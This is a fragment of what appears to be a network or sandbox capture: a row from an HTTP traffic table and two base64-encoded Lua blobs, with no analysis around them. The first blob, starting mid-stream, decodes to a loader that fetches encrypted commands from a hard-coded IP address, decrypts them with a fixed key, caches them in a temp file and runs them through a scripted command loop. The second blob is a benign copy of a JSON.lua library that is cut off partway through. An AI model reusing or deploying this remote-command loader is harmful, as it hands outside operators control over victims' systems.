cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d3b8bjraovjdbz.cloudfront.net (54.230.45.168:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
19 | /v2/tfn5306351516.html(18) | text/html | tfn5306351516.html(18) | 200 OK | TEXT | 46.2 KB | 01/11/22 20:04:38 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
